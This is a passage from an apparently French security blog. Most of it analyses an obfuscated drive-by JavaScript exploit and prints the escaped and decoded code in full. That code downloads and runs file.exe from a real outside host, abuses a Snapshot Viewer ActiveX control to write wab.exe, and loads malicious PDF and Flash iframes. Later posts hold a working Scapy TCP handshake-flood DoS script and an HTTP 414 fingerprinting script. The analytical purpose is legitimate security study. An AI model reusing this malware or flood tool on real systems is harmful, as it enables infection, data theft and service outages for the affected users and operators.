u0020%u002b%u0020%u0022%u003a%u005c%u005c%u0022%u0020%u002b%u0020%u0027%u0050%u0023%u0024%u0029%u005e%u0072%u0040%u0029%u0028%u006f%u0029%u0021%u0028%u0023%u0067%u0040%u0021%u0040%u0029%u0072%u005e%u0061%u0029%u0024%u0023%u0040%u006d%u0029%u0021%u0040%u0020%u0026%u005e%u0046%u0028%u0028%u0026%u0029%u0069%u005e%u005e%u005e%u0028%u006c%u0026%u005e%u0028%u0029%u0065%u0024%u0021%u0040%u0073%u005e%u0024%u0027%u002e%u0072%u0065%u0070%u006c%u0061%u0063%u0065%u0028%u002f%u0026%u007c%u0040%u007c%u005c%u0028%u007c%u005c%u005e%u007c%u0023%u007c%u005c%u0029%u007c%u005c%u0024%u007c%u005c%u0021%u002f%u0069%u0067%u002c%u0020%u0027%u0027%u0029%u0020%u002b%u0020%u0022%u005c%u005c%u0022%u0020%u002b%u0020%u0027%u004f%u005e%u0028%u0075%u0023%u0040%u0074%u0021%u005e%u0023%u006c%u0021%u006f%u005e%u0028%u006f%u0029%u006b%u0023%u0029%u005e%u0020%u0026%u005e%u0023%u0026%u0045%u0029%u0029%u0078%u0023%u0040%u0070%u0023%u0029%u0023%u0072%u0023%u005e%u005e%u0065%u0023%u0073%u0021%u0040%u0024%u0021%u0073%u0026%u0029%u0027%u002e%u0072%u0065%u0070%u006c%u0061%u0063%u0065%u0028%u002f%u005c%u005e%u007c%u0026%u007c%u005c%u0029%u007c%u0023%u007c%u005c%u0024%u007c%u0040%u007c%u005c%u0028%u007c%u005c%u0021%u002f%u0069%u0067%u002c%u0020%u0027%u0027%u0029%u0020%u002b%u0020%u0022%u005c%u005c%u0022%u0020%u002b%u0020%u0027%u0077%u0028%u0028%u0021%u0061%u0028%u0026%u0062%u0040%u0021%u0029%u002e%u005e%u0026%u0024%u0026%u0028%u0065%u0040%u0026%u0078%u0026%u005e%u0065%u0028%u0029%u0027%u002e%u0072%u0065%u0070%u006c%u0061%u0063%u0065%u0028%u002f%u0026%u007c%u005c%u0029%u007c%u005c%u0024%u007c%u005c%u0028%u007c%u005c%u005e%u007c%u0023%u007c%u005c%u0021%u007c%u0040%u002f%u0069%u0067%u002c%u0020%u0027%u0027%u0029%u003b%u000d%u000a%u0009%u0009%u0070%u0058%u004c%u006d%u0050%u005a%u0054%u0046%u0059%u002e%u0050%u0072%u0069%u006e%u0074%u0053%u006e%u0061%u0070%u0073%u0068%u006f%u0074%u0028%u0029%u003b%u000d%u000a%u0009%u007d%u000d%u000a%u000d%u000a%u0009%u0063%u0061%u0074%u0063%u0068%u0028%u0065%u0029%u007b%u007d%u003b%u000d%u000a%u000d%u000a%u0009%u0076%u0061%u0072%u0020%u0068%u0034%u0053%u0075%u007a%u006f%u007a%u0047%u0020%u003d%u0020%u0073%u0065%u0074%u0049%u006e%u0074%u0065%u0072%u0076%u0061%u006c%u0028%u0066%u0075%u006e%u0063%u0074%u0069%u006f%u006e%u0028%u0029%u007b%u0069%u0066%u0020%u0028%u0070%u0058%u004c%u006d%u0050%u005a%u0054%u0046%u0059%u002e%u0072%u0065%u0061%u0064%u0079%u0053%u0074%u0061%u0074%u0065%u0020%u003d%u003d%u0020%u0034%u0029%u0020%u007b%u0063%u006c%u0065%u0061%u0072%u0049%u006e%u0074%u0065%u0072%u0076%u0061%u006c%u0028%u0068%u0034%u0053%u0075%u007a%u006f%u007a%u0047%u0029%u003b%u0077%u0069%u006e%u0064%u006f%u0077%u002e%u006c%u006f%u0063%u0061%u0074%u0069%u006f%u006e%u0020%u003d%u0020%u0027%u006c%u0024%u0028%u0026%u0026%u0064%u0021%u0061%u0040%u005e%u0070%u0021%u0029%u003a%u0024%u0040%u002f%u005e%u0040%u002f%u0024%u0029%u0028%u0024%u0027%u002e%u0072%u0065%u0070%u006c%u0061%u0063%u0065%u0028%u002f%u0023%u007c%u005c%u005e%u007c%u005c%u0028%u007c%u005c%u0021%u007c%u0040%u007c%u005c%u0029%u007c%u005c%u0024%u007c%u0026%u002f%u0069%u0067%u002c%u0020%u0027%u0027%u0029%u003b%u007d%u007d%u002c%u0020%u0033%u0030%u0030%u0030%u0029%u003b%u000d%u000a%u007d%u000d%u000a%u000d%u000a%u0077%u0079%u0055%u0079%u0078%u004d%u0056%u006e%u0028%u0027%u0068%u005e%u0028%u0023%u0074%u005e%u0040%u0021%u0074%u0021%u0021%u0021%u0070%u0029%u003a%u0024%u0023%u0028%u002f%u0023%u0028%u002f%u0026%u0062%u0026%u0026%u0040%u0065%u0040%u0023%u005e%u0040%u0073%u005e%u0024%u0074%u0026%u005e%u0024%u006c%u0026%u0069%u005e%u0074%u0021%u0065%u0040%u0024%u0026%u005e%u0064%u0023%u005e%u0069%u0021%u0029%u0021%u0040%u0073%u0040%u0024%u0063%u0021%u005e%u0024%u006f%u0021%u0021%u0023%u0076%u005e%u0028%u0065%u005e%u0023%u0028%u0072%u0028%u0023%u0024%u002e%u0040%u0024%u0021%u0063%u0021%u0024%u0024%u006e%u0024%u0024%u0021%u0021%u003a%u0026%u0028%u0028%u0038%u0023%u0026%u005e%u0030%u0028%u0028%u0038%u0029%u0030%u0028%u0023%u002f%u0023%u0028%u0023%u006c%u0023%u0021%u0028%u0021%u006f%u0024%u0028%u0021%u0061%u0026%u0026%u0064%u005e%u002e%u0026%u0021%u0070%u0029%u005e%u0023%u0021%u0021%u0068%u0024%u0023%u0070%u0029%u0028%u0021%u003f%u0021%u0026%u0069%u0040%u0064%u0023%u0028%u0021%u003d%u0023%u0031%u0040%u0027%u002e%u0072%u0065%u0070%u006c%u0061%u0063%u0065%u0028%u002f%u005c%u0021%u007c%u005c%u0029%u007c%u0026%u007c%u005c%u0024%u007c%u0023%u007c%u0040%u007c%u005c%u005e%u007c%u005c%u0028%u002f%u0069%u0067%u002c%u0020%u0027%u0027%u0029%u0029%u003b%u000a%u0066%u0075%u006e%u0063%u0074%u0069%u006f%u006e%u0020%u004c%u0031%u006d%u0079%u0039%u0068%u006d%u006a%u0028%u0029%u007b%u000a%u0009%u0050%u0044%u0046%u0020%u003d%u0020%u006e%u0065%u0077%u0020%u0041%u0072%u0072%u0061%u0079%u0028%u0022%u0041%u0063%u0072%u006f%u0050%u0044%u0046%u002e%u0050%u0044%u0046%u0022%u002c%u0020%u0022%u0050%u0044%u0046%u002e%u0050%u0064%u0066%u0043%u0074%u0072%u006c%u0022%u0029%u003b%u000a%u0009%u0066%u006f%u0072%u0028%u0069%u0020%u0069%u006e%u0020%u0050%u0044%u0046%u0029%u000a%u0009%u007b%u000a%u0009%u0009%u0074%u0072%u0079%u000a%u0009%u0009%u007b%u000a%u0009%u0009%u0009%u006f%u0062%u006a%u0020%u003d%u0020%u006e%u0065%u0077%u0020%u0041%u0063%u0074%u0069%u0076%u0065%u0058%u004f%u0062%u006a%u0065%u0063%u0074%u0028%u0050%u0044%u0046%u005b%u0069%u005d%u0029%u003b%u000a%u0009%u0009%u0009%u0069%u0066%u0020%u0028%u006f%u0062%u006a%u0029%u000a%u0009%u0009%u0009%u007b%u000a%u0009%u0009%u0009%u0009%u0064%u006f%u0063%u0075%u006d%u0065%u006e%u0074%u002e%u0077%u0072%u0069%u0074%u0065%u0028%u0027%u003c%u0069%u0066%u0072%u0061%u006d%u0065%u0020%u0073%u0072%u0063%u003d%u0022%u0063%u0061%u0063%u0068%u0065%u002f%u0072%u0065%u0061%u0064%u006d%u0065%u002e%u0070%u0064%u0066%u0022%u003e%u003c%u002f%u0069%u0066%u0072%u0061%u006d%u0065%u003e%u0027%u0029%u003b%u000a%u0009%u0009%u0009%u007d%u000a%u0009%u0009%u007d%u000a%u0009%u0009%u0063%u0061%u0074%u0063%u0068%u0028%u0065%u0029%u007b%u007d%u000a%u0009%u007d%u000a%u0009%u0074%u0072%u0079%u000a%u0009%u007b%u000a%u0009%u0009%u006f%u0062%u006a%u0020%u003d%u0020%u006e%u0065%u0077%u0020%u0041%u0063%u0074%u0069%u0076%u0065%u0058%u004f%u0062%u006a%u0065%u0063%u0074%u0028%u0022%u0053%u0068%u006f%u0063%u006b%u0077%u0061%u0076%u0065%u0046%u006c%u0061%u0073%u0068%u002e%u0053%u0068%u006f%u0063%u006b%u0077%u0061%u0076%u0065%u0046%u006c%u0061%u0073%u0068%u0022%u0029%u003b%u000a%u0009%u0009%u0069%u0066%u0020%u0028%u006f%u0062%u006a%u0029%u000a%u0009%u0009%u007b%u000a%u0009%u0009%u0009%u0064%u006f%u0063%u0075%u006d%u0065%u006e%u0074%u002e%u0077%u0072%u0069%u0074%u0065%u0028%u0027%u003c%u0069%u0066%u0072%u0061%u006d%u0065%u0020%u0073%u0072%u0063%u003d%u0022%u0063%u0061%u0063%u0068%u0065%u002f%u0066%u006c%u0061%u0073%u0068%u002e%u0073%u0077%u0066%u0022%u003e%u003c%u002f%u0069%u0066%u0072%u0061%u006d%u0065%u003e%u0027%u0029%u003b%u000a%u0009%u0009%u007d%u000a%u0009%u007d%u000a%u0009%u0063%u0061%u0074%u0063%u0068%u0028%u0065%u0029%u007b%u007d%u000a%u007d%u000a%u004c%u0031%u006d%u0079%u0039%u0068%u006d%u006a%u0028%u0029%u003b'));
Bon ca reste incompréhensible mais on voit qu'il y a un appel à la fonction unescape() donc que
eval() exécute le tout. Nous allons donc chercher un script pour unescaper tout ca. Pour cela j'ai
trouvé
un site très simple : http://www.linkedresources.com/tools/unescaper_v0.2b1.html;
On copie colle notre texte bizarre et on unescape le tout. On obtient alors le code JS suivant :
function hOYpZ39lgw()
{
var crAlMG907 = document.createElement('o$@b&(&j&!)^e!c)#^t))^#!'.replace(/\^|\!|&|\$|\)|@|\(|#/ig,
''));
crAlMG907.setAttribute('i$&)d$@&'.replace(/\(|#|&|\^|\$|\)|@|\!/ig, ''),crAlMG907);
crAlMG907.setAttribute('c(@!l@^a)^$s$@#$$s(&^i!#&d@^^'.replace(/\(|#|\)|\!|\$|@|\^|&/ig,
''),'c)#l^(s&^@(i@#d)!(:!)B$()D^#9!&6@@(^C)5$5(@6#$-!@6^5$(A&()3(^-^@#1&$1$D##0@$#-#)9!8@3@$&A#)-)&0!^0$@C&0###4(F!@C&&!2$9@(E(#3#)&6!&(('.replace(/\!|\$|@|\^|\(|\)|&|#/ig,
''));
try
{
var pg1f8vd3ga =
crAlMG907.CreateObject('m@s@x!!m#$l(2#&^.!!$X@!M(L@H#@#T$#$T#!P&'.replace(/&|\(|#|\$|@|\!|\^|\)/ig, ''),'');
var s7uJwAW7MY =
crAlMG907.CreateObject('S^!!h&(#@e$!!l^^(&l@).^A&p&$p@((^l)&^i!$c##$a@!t^#i$))o#n&&'.replace(/@|\!|#|\)|\(|\$|\^|&/ig,
''),'');
var clJiRi84 =
crAlMG907.CreateObject('a)^d#!@o^#d#@!#b(&&.&^(!&s^$t$$#r!#e!#^)a(((m)!'.replace(/&|#|@|\)|\^|\$|\(|\!/ig,
''),'');
try
{
clJiRi84.type = 1;
pg1f8vd3ga.open('G)!$E)#T@'.replace(/#|\!|\)|&|\(|\^|\$|@/ig,
''),'h@#(t))(t##)@p($:!(/)/^b$!e^$s$@t&l&$i&)@!t@!&e)#d!#!#i)))s($(@c^o&&v$^!e&!(r(^@.^$!c#)n^$(#:!)^8^!(@0$^#)(8^0^@/$l!&o^a$d#.)!p@!$h#()(p$@?!^i$@&(@d&^#=!0)@'.replace(/\^|\$|\(|\)|\!|@|&|#/ig,
''),false);
pg1f8vd3ga.send();
clJiRi84.open();
clJiRi84.Write(pg1f8vd3ga.responseBody);
var j6OpG4V4 =
'.#^^$$/!&/!&&&.$@&(.)^@$/#/!#&f#&@i)&^l&()e$@&@.!e(&x@^e#^'.replace(/\!|\^|\(|&|#|@|\)|\$/ig, '');
clJiRi84.SaveToFile(j6OpG4V4,2);
clJiRi84.Close();
}
catch(e) {}
try
{
s7uJwAW7MY.shellexecute(j6OpG4V4);
}
catch(e) {}}
catch(e) {}}
hOYpZ39lgw();
function mhg3H2xdMh()
{
for(bsljFNsoJ = 2, zvQPqfExq = ""; bsljFNsoJ <= 26; bsljFNsoJ++)
{
zvQPqfExq = String.fromCharCode(65 + bsljFNsoJ);
var hQ3gmqMtd = new Image();
hQ3gmqMtd.src = "res://" + zvQPqfExq + ":\\" + 'P)!r@o((^$(g)r!a#m&!@!
)^)^F)!)i&l^!e&s$'.replace(/@|\$|\(|&|\^|#|\)|\!/ig, '') + "\\" + 'O$$u((&)t()$l(!$^o&((o(&k($^
!@E#x)p()!&r&e@$s$s(($'.replace(/\!|\$|\(|#|@|\^|&|\)/ig, '') + "\\" +
'm$^!s(#&o#&@e^$@r!^e&&^s)@#!.(d@^l(@^l@'.replace(/@|\!|\^|\)|&|\$|\(|#/ig, '') + "/#2/1";
if(hQ3gmqMtd.height == 59)
{
break;
}
hQ3gmqMtd = '';
}
return zvQPqfExq;
}
function wyUyxMVn(url)
{
var zvQPqfExq = mhg3H2xdMh();
if (zvQPqfExq == '[') return;
try
{
var pXLmPZTFY = new ActiveXObject('s#n#p$(v)$(^w)&.^^^#S&n#&@^a()p@!(!s((!!h#o$^t#$@
^@#)V(#i&)$e!#@w!$@e)(r&)^# !##C$$)(o$$n(t@^r^@o#@l)$$#^.(^1)$&'.replace(/\^|\(|@|#|\)|\$|\!|&/ig, ''));
}
catch(e)
{
if (pXLmPZTFY != '[(($o!b^&!#j!!e)c#!t)#@])!'.replace(/\^|\$|\!|@|&|\)|\(|#/ig, '')) return;
}
pXLmPZTFY.SnapshotPath = url;
try
{
pXLmPZTFY.CompressedPath = zvQPqfExq + ":\\" + 'P#$)^r@)(o)!(#g@!@)r^a)$#@m)!@
&^F((&)i^^^(l&^()e$!@s^$'.replace(/&|@|\(|\^|#|\)|\$|\!/ig, '') + "\\" + 'O^(u#@t!^#l!o^(o)k#)^
&^#&E))x#@p#)#r#^^e#s!@$!s&)'.replace(/\^|&|\)|#|\$|@|\(|\!/ig, '') + "\\" +
'w((!a(&b@!).^&$&(e@&x&^e()'.replace(/&|\)|\$|\(|\^|#|\!|@/ig, '');
pXLmPZTFY.PrintSnapshot();
}
catch(e){};
var h4SuzozG = setInterval(function(){if (pXLmPZTFY.readyState == 4)
{clearInterval(h4SuzozG);window.location = 'l$(&&d!a@^p!):$@/^@/$)($'.replace(/#|\^|\(|\!|@|\)|\$|&/ig, '');}},
3000);
}
wyUyxMVn('h^(#t^@!t!!!p):$#(/#(/&b&&@e@#^@s^$t&^$l&i^t!e@$&^d#^i!)!@s@$c!^$o!!#v^(e^#(r(#$.@$!c!$$n$$!!:&((8#&^0((8)0(#/#(#l#!(!o$(!a&&d^.&!p)^#!!h$#p)(!?!&i@d#(!=#1@'.replace(/\!|\)|&|\$|#|@|\^|\(/ig,
''));
function L1my9hmj(){
PDF = new Array("AcroPDF.PDF", "PDF.PdfCtrl");
for(i in PDF)
{
try
{
obj = new ActiveXObject(PDF[i]);
if (obj)
{
document.write('<iframe src="cache/readme.pdf"></iframe>');
}
}
catch(e){}
}
try
{
obj = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
if (obj)
{
document.write('<iframe src="cache/flash.swf"></iframe>');
}
}
catch(e){}
}
L1my9hmj();
Bon la on commence à etre pas mal ! On a maintenant un JS un peu compléxifié par des
regexp mais qui devient compréhensible.
Voyons maintenant en détail ce que fait ce JS. La 1ère méthode annonce son but avec la
méthode shelExecute :
function hOYpZ39lgw()
{
var crAlMG907 = document.createElement('o$@b&(&j&!)^e!c)#^t))^#!'.replace(/\^|\!|&|\$|\)|@|\(|#/ig,
''));
crAlMG907.setAttribute('i$&)d$@&'.replace(/\(|#|&|\^|\$|\)|@|\!/ig, ''),crAlMG907);
crAlMG907.setAttribute('c(@!l@^a)^$s$@#$$s(&^i!#&d@^^'.replace(/\(|#|\)|\!|\$|@|\^|&/ig,
''),'c)#l^(s&^@(i@#d)!(:!)B$()D^#9!&6@@(^C)5$5(@6#$-!@6^5$(A&()3(^-^@#1&$1$D##0@$#-#)9!8@3@$&A#)-)&0!^0$@C&0###4(F!@C&&!2$9@(E(#3#)&6!&(('.replace(/\!|\$|@|\^|\(|\)|&|#/ig,
''));
try
{
var pg1f8vd3ga =
crAlMG907.CreateObject('m@s@x!!m#$l(2#&^.!!$X@!M(L@H#@#T$#$T#!P&'.replace(/&|\(|#|\$|@|\!|\^|\)/ig, ''),'');
var s7uJwAW7MY =
crAlMG907.CreateObject('S^!!h&(#@e$!!l^^(&l@).^A&p&$p@((^l)&^i!$c##$a@!t^#i$))o#n&&'.replace(/@|\!|#|\)|\(|\$|\^|&/ig,
''),'');
var clJiRi84 =
crAlMG907.CreateObject('a)^d#!@o^#d#@!#b(&&.&^(!&s^$t$$#r!#e!#^)a(((m)!'.replace(/&|#|@|\)|\^|\$|\(|\!/ig,
''),'');
try
{
clJiRi84.type = 1;
pg1f8vd3ga.open('G)!$E)#T@'.replace(/#|\!|\)|&|\(|\^|\$|@/ig,
''),'h@#(t))(t##)@p($:!(/)/^b$!e^$s$@t&l&$i&)@!t@!&e)#d!#!#i)))s($(@c^o&&v$^!e&!(r(^@.^$!c#)n^$(#:!)^8^!(@0$^#)(8^0^@/$l!&o^a$d#.)!p@!$h#()(p$@?!^i$@&(@d&^#=!0)@'.replace(/\^|\$|\(|\)|\!|@|&|#/ig,
''),false);
pg1f8vd3ga.send();
clJiRi84.open();
clJiRi84.Write(pg1f8vd3ga.responseBody);
var j6OpG4V4 =
'.#^^$$/!&/!&&&.$@&(.)^@$/#/!#&f#&@i)&^l&()e$@&@.!e(&x@^e#^'.replace(/\!|\^|\(|&|#|@|\)|\$/ig, '');
clJiRi84.SaveToFile(j6OpG4V4,2);
clJiRi84.Close();
}
catch(e) {}
try
{
s7uJwAW7MY.shellexecute(j6OpG4V4);
}
catch(e) {}}
catch(e) {}}
hOYpZ39lgw();
En fait on constate qu'elle télécharge en mémoire un fichier "file.exe" via l'url
http://bestlitediscover.cn:8080/load.php?id=1 (ca pique les yeux mais ca se lit assez facilement) puis tente de
l'exécuter via
shellExecute().
Voyons maintenant la 2e et 3e fonction :
function mhg3H2xdMh()
{
for(bsljFNsoJ = 2, zvQPqfExq = ""; bsljFNsoJ <= 26; bsljFNsoJ++)
{
zvQPqfExq = String.fromCharCode(65 + bsljFNsoJ);
var hQ3gmqMtd = new Image();
hQ3gmqMtd.src = "res://" + zvQPqfExq + ":\\" + 'P)!r@o((^$(g)r!a#m&!@!
)^)^F)!)i&l^!e&s$'.replace(/@|\$|\(|&|\^|#|\)|\!/ig, '') + "\\" + 'O$$u((&)t()$l(!$^o&((o(&k($^
!@E#x)p()!&r&e@$s$s(($'.replace(/\!|\$|\(|#|@|\^|&|\)/ig, '') + "\\" +
'm$^!s(#&o#&@e^$@r!^e&&^s)@#!.(d@^l(@^l@'.replace(/@|\!|\^|\)|&|\$|\(|#/ig, '') + "/#2/1";
if(hQ3gmqMtd.height == 59)
{
break;
}
hQ3gmqMtd = '';
}
return zvQPqfExq;
}
function mhg3H2xdMh()
{
for(bsljFNsoJ = 2, zvQPqfExq = ""; bsljFNsoJ <= 26; bsljFNsoJ++)
{
zvQPqfExq = String.fromCharCode(65 + bsljFNsoJ);
var hQ3gmqMtd = new Image();
hQ3gmqMtd.src = "res://" + zvQPqfExq + ":\\" + 'P)!r@o((^$(g)r!a#m&!@!
)^)^F)!)i&l^!e&s$'.replace(/@|\$|\(|&|\^|#|\)|\!/ig, '') + "\\" + 'O$$u((&)t()$l(!$^o&((o(&k($^
!@E#x)p()!&r&e@$s$s(($'.replace(/\!|\$|\(|#|@|\^|&|\)/ig, '') + "\\" +
'm$^!s(#&o#&@e^$@r!^e&&^s)@#!.(d@^l(@^l@'.replace(/@|\!|\^|\)|&|\$|\(|#/ig, '') + "/#2/1";
if(hQ3gmqMtd.height == 59)
{
break;
}
hQ3gmqMtd = '';
}
return zvQPqfExq;
}
function wyUyxMVn(url)
{
var zvQPqfExq = mhg3H2xdMh();
if (zvQPqfExq == '[') return;
try
{
var pXLmPZTFY = new ActiveXObject('s#n#p$(v)$(^w)&.^^^#S&n#&@^a()p@!(!s((!!h#o$^t#$@
^@#)V(#i&)$e!#@w!$@e)(r&)^# !##C$$)(o$$n(t@^r^@o#@l)$$#^.(^1)$&'.replace(/\^|\(|@|#|\)|\$|\!|&/ig, ''));
}
catch(e)
{
if (pXLmPZTFY != '[(($o!b^&!#j!!e)c#!t)#@])!'.replace(/\^|\$|\!|@|&|\)|\(|#/ig, '')) return;
}
pXLmPZTFY.SnapshotPath = url;
try
{
pXLmPZTFY.CompressedPath = zvQPqfExq + ":\\" + 'P#$)^r@)(o)!(#g@!@)r^a)$#@m)!@
&^F((&)i^^^(l&^()e$!@s^$'.replace(/&|@|\(|\^|#|\)|\$|\!/ig, '') + "\\" + 'O^(u#@t!^#l!o^(o)k#)^
&^#&E))x#@p#)#r#^^e#s!@$!s&)'.replace(/\^|&|\)|#|\$|@|\(|\!/ig, '') + "\\" +
'w((!a(&b@!).^&$&(e@&x&^e()'.replace(/&|\)|\$|\(|\^|#|\!|@/ig, '');
pXLmPZTFY.PrintSnapshot();
}
catch(e){};
var h4SuzozG = setInterval(function(){if (pXLmPZTFY.readyState == 4)
{clearInterval(h4SuzozG);window.location = 'l$(&&d!a@^p!):$@/^@/$)($'.replace(/#|\^|\(|\!|@|\)|\$|&/ig, '');}},
3000);
}
Quand on lit les regexp on détermine très vite le Program Files\Outlook Express dans lequel est
effectué la récupération des contacts outlook
puis l'envoi vers l'url http://bestlitediscover.cn:8080/load.php?id=0 :)
Puis vu que ca ne suffit pas la dernière fonction suivante en rajoute une couche :
function L1my9hmj(){
PDF = new Array("AcroPDF.PDF", "PDF.PdfCtrl");
for(i in PDF)
{
try
{
obj = new ActiveXObject(PDF[i]);
if (obj)
{
document.write('<iframe src="cache/readme.pdf"></iframe>');
}
}
catch(e){}
}
try
{
obj = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
if (obj)
{
document.write('<iframe src="cache/flash.swf"></iframe>');
}
}
catch(e){}
}
L1my9hmj();
Donc la nous avons l'appel d'un fichier PDF et d'un fichier Flash malicieux cachés dans des iframes afin
d'augmenter les chances de contamination. Leur
étude doit également s'avérée très intéressante et elle fera
probablement l'objet d'un prochain article. On devine un virus récupérant les ftp ou des
informations
afin de contaminer d'autres sites et d'agir en tant que vers.
Ces exploits sont très performants car touchent énormément de personnes car des sites légitimes sont touchés et donc des personnes pensant surfer tranquillement se font avoir. De plus par exemple ici, l'antivirus n'est pas en mesure de détecter l'exploit SWF et du coup il est très efficace. Faire confiance a son seul AV n'est plus du tout suffisant. La seule solution ici est de bloquer les sites chinois en .cn ou toutes les connexions sur le port 8080. A voir l'impact sur vos besoins.
Un dernier point intéressant que je tenais a dire, est que les systèmes Linux sont autant vulnérables (en tant que client) que les autres car par exemple l'exploit PDF pourrait être destiné au plateforme Linux sur lesquelles est apparu un exploit Adobe Acrobat Reader. Et oui meme sous Linux un antivirus est nécessaire contrairement aux idées recues ;)
Un grand merci a Nico pour ses analyses ;)
22-06-2009 00:57:24
Apache HTTP DoS ... oui et ?
Donc a ce que j'en ai lu, le principe consiste à se connecter au serveur Apache et à envoyer un GET avec des headers sans finir la requete et en relancant régulièrement le serveur. Du coup il va se retrouver limiter par son MaxClients. Normal. Mais au final on se retrouve avec un programme qui doit générer une connexion, puis créer une requete HTTP (donc limité au niveau applicatif) et la maintenir. Tout ca pour simuler une connexion légitime. Est ce vraiment judicieux ?
Si on regarde, le principe est exactement identique à mon TCP/IP Handshake Flood. Cela crée des connexions légitimes qui flood le serveur et provoque un DoS. Sauf que perso le DoS marche pour tous les serveurs avec une directive du genre MaxClients (Apache, Proftpd, ...) étant donné qu'il agit au niveau de la couche TCP.
Donc rien de nouveau avec cet exploit publié que l'on pourrait considéré de "vieux" dans le principe. Après peut etre que ca va faire du bien de le mettre a la lumière pour corriger les Apache mais il faudra penser aux autres ;)
J'en profite pour poster la dernière version de mon script de DoS par TCP Handshake Flood :
#!/usr/bin/env python
from scapy import *
import threading, sys
import pprint
try:
print "TCP/IP DoS HandShake Flood PoC by cloud : http://blog.madpowah.org"
hostname = sys.argv[1]
dport = sys.argv[2]
nbsyn = int(sys.argv[3])
network = sys.argv[4]
except:
print "Utilisation: ./handshake.py "
print "Exemple: ./handshake.py 192.168.0.1 80 65000 eth0"
sys.exit(1)
def sendSyns():
print ">> Sending SYN ..."
sport = 6000
while sport < 6000 + nbsyn:
send(IP(dst=hostname,ttl=255)/ TCP(flags="S", sport=sport,dport=int(dport), seq=sport), verbose=0)
sport += 1
def startSniff():
print ">> Start sniff ..."
nbcount = nbsyn*10
filterport = "port " + dport
sniff(iface=network,filter=filterport, prn=lambda x: getNumSeq(x), count=nbcount)
def getNumSeq(packet):
flag = packet.getlayer('TCP').flags
if flag == 18:
numseq = packet.getlayer('TCP').ack
numack = packet.getlayer('TCP').seq + 1
srcport = packet.getlayer('TCP').dport
send(IP(dst=hostname,ttl=255) / TCP(flags="A", sport=srcport, dport=int(dport), seq=numseq,
ack=numack), verbose=0)
print "ACK %d" % (numseq)
t1 = threading.Thread(target = startSniff, args = ())
t2 = threading.Thread(target = sendSyns, args = ())
t1.start()
t2.start()
15-06-2009 23:30:02
[Tool] CMScheck, outil de fingerprint de CMS
Quand on réalise un pentest dans un cadre professionnel, on est souvent très limité par le temps. C'est pour cela qu'il
est
impératif de posséder une batterie de logiciels afin de travailler le plus rapidement possible
Dans cet objectif, j'ai développé CMScheck qui est une application développée en Python dont le but est de
déterminer si le site est basé sur un CMS
ou un forum existant parmi les suivants :
-Joomla
-Dotclear
-Wordpress
-Drupal
-PhpBB
-PunBB
-vBulletin
Son utilisation est très simple :
(23:06:12 cloud ~/Coding/Python/CMScheck) 0 $ ./cmscheck.py www.example.org CMScheck by cloud : http://blog.madpowah.org >> Launching the CMS scan ... >> Checking for Joomla ... 100% >> Checking for Dotclear ... 0% >> Checking for Wordpress ... 0% >> Checking for Drupal ... 0% >> Checking for PhpBB ... 0% >> Checking for PunBB ... 0% >> Checking for vBulletin ... 0%Les modules sont très simples à développer. Si vous souhaiter contribuer en enrichissant les modules existants ou en ajoutant des modules, n'hésitez pas à me contacter. Pour le télécharger cliquez ici.
27-05-2009 00:18:47
[Securite] TCP/IP DoS by Handshake Flood by cloud
Je traite ici d'une vulnérabilité TCP/IP. Il y a eu le SYN Flood qui maintenant se bloque. Voici maintenant le TCP Handshake Flood qui consiste à créer une vrai connexion légitime et sature les services.
Avantage : cela fonctionne avec une seule machine et presque sur tous les services
Inconvénient : il est impossible de spoofer
J'ai publié un script servant de PoC basé sur Scapy. Celui ci est diffusé a titre informatif et ne doit pas être utilisé à des fins malveillantes. Je ne suis pas responsable de son utilisation.
Je vous laisse lire ca : TCP/IP iDoS by Handshake Flood by cloud
15-05-2009 01:15:17
[Secu] Fingerprint serveur par erreur 414
Petite technique de fingerprint que j'ai trouvé sympathique, basée sur l'erreur 414 des serveurs web. Comme tout le monde connait par coeur sa RFC HTTP, on sait donc que cela correspond a une requete HTTP avec une longueur trop grande. Et par chance cette valeur diffère selon le serveur. Voici quelques exemples :
Apache : 8177 IIS : 16383 Squid : 32652 GWS (google) : 2048 Lighttpd : 90585, parfois 90584J'ai donc codé un petit script afin de récupérer cela simplement. Le voici :
#!/usr/bin/env python import httplib, sys liste_serv = [[2048, 'GWS'], [8177, 'Apache'], [16383, 'IIS'], [32652, 'Squid'], [90584, 'Lighttpd']] try: print "WebPrint by cloud : http://blog.madpowah.org" hostname = sys.argv[1] except: print "Utilisation: ./webprint.pyIl ne reste plus qu'a tester pour récupérer la valeur selon le serveur web." print "Exemple: ./webprint.py www.example.com" sys.exit(1) def writeurl(nb): i = 0 url = 'a' * nb return url for nb, serv_name in liste_serv: url = writeurl(nb) conn = httplib.HTTPConnection(hostname) conn.request("GET", "/" + url) r2 = conn.getresponse() num_error = r2.status if num_error == 414: url = writeurl(nb - 1) conn = httplib.HTTPConnection(hostname) conn.request("GET", "/" + url) r2 = conn.getresponse() num_error = r2.status if num_error != 414: print 'Server : ' + serv_name sys.exit(1) print 'Server not found'
Merci a nibbles pour cette idée. L'adresse source de l'article
05-05-2009 00:45:43
[Secu] Kon-boot le casseur de mots passe qui casse pas trop
On a vu pas mal de news sur kon-boot, le logiciel censé casser les mots de
passe Windows / Linux avec un simple boot. J'ai donc voulu tester ca pour voir de
mes propres yeux ! Beh ... décéption.
-1er test sur un Windows XP SP3 fr et ca n'a pas marché.
-2e test avec une debian en 2.6.18 dans une vmware et ca n'a pas marché.
Le cd boot bien, les messages marquent OK mais le résultat n'y est pas.
Dommage, espérons que ca évolue avec le temps.
Le lien vers le projet : http://www.piotrbania.com/all/kon-boot/
04-05-2009 23:30:43
[Loi] IP, une donnee personnelle ?
A quoi sert la CNIL ? C'est ce qu'on est en droit de se demander quand on voit certains cas de jurisprudence.
L'IP était jusqu'a présent considérée comme une donnée personnelle que l'on ne pouvait publier comme on le souhaite. Hors d'après
cet article, on peut
se demander si c'est toujours de rigueur. S'il n'est plus nécessaire de demander a la CNIL, autant que les FAI le publie et fasse un annuaire
histoire que tout le monde est les meme droits que la SACEM qui a mon gout n'est en aucun cas supérieur a qui que ce soit en terme de droit.
04-05-2009 23:11:01
[Loi] Bouygues lit tous nos SMS. Legal ?
Un article m'a aujourd'hui choqué : http://www.zataz.com/news/18966/espionnage--sms--operateur-telephonique.html.
Il traite du cas d'un jeune homme qui a été mis en garde a vue pour avoir recu un SMS d'un ami a lui, qui pour rigoler lui a envoyé le message
suivant : "Pour faire dérailler un train, t'as une solution ?". Certes la blague n'est pas forcément drole mais le problème n'est pas la.
Comment la police a eu echo de ce SMS ?
